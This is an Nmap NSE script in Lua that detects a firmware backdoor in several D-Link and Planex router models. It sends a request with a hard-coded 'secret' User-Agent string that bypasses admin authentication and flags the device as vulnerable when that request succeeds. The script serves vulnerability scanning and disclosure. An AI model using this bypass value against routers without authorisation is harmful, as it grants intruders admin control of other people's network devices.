1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
description = [[
Detects a firmware backdoor on some D-Link routers by changing the User-Agent
to a "secret" value. Using the "secret" User-Agent bypasses authentication
and allows admin access to the router.
The following router models are likely to be vulnerable: DIR-100, DIR-120,
DI-624S, DI-524UP, DI-604S, DI-604UP, DI-604+, TM-G5240
In addition, several Planex routers also appear to use the same firmware:
BRL-04UR, BRL-04CW
Reference: http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/
]]
---
-- @usage
-- nmap -sV --script http-dlink-backdoor <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-dlink-backdoor:
-- | VULNERABLE:
-- | Firmware backdoor in some models of D-Link routers allow for admin password bypass
-- | State: VULNERABLE
-- | Risk factor: High
-- | Description:
-- | D-Link routers have been found with a firmware backdoor allowing for admin password bypass using a "secret" User-Agent string.
-- |
-- | References:
-- |_ http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/
---
author = "Patrik Karlsson <patrik@cqure.net>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"exploit","vuln"}
local http = require "http"
local shortport = require "shortport"
local string = require "string"
local vulns = require "vulns"
portrule = shortport.http
action = function(host, port)
local response = http.get(host, port, "/", { redirect_ok = false, no_cache = true })
local server = response.header and response.header['server'] or ""
local vuln_table = {
title = "Firmware backdoor in some models of D-Link routers allow for admin password bypass",
state = vulns.STATE.NOT_VULN,
risk_factor = "High",
description = [[
D-Link routers have been found with a firmware backdoor allowing for admin password bypass using a "secret" User-Agent string.
]],
references = {
'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/',
}
}
if ( response.status == 401 and server:match("^thttpd%-alphanetworks") ) or
( response.status == 302 and server:match("^Alpha_webserv") ) then
response = http.get(host, port, "/", { header = { ["User-Agent"] = "xmlset_roodkcableoj28840ybtide" } })
if ( response.status == 200 ) then
vuln_table.state = vulns.STATE.VULN
local report = vulns.Report:new(SCRIPT_NAME, host, port)
return report:make_output(vuln_table)
end
end
return
end
|
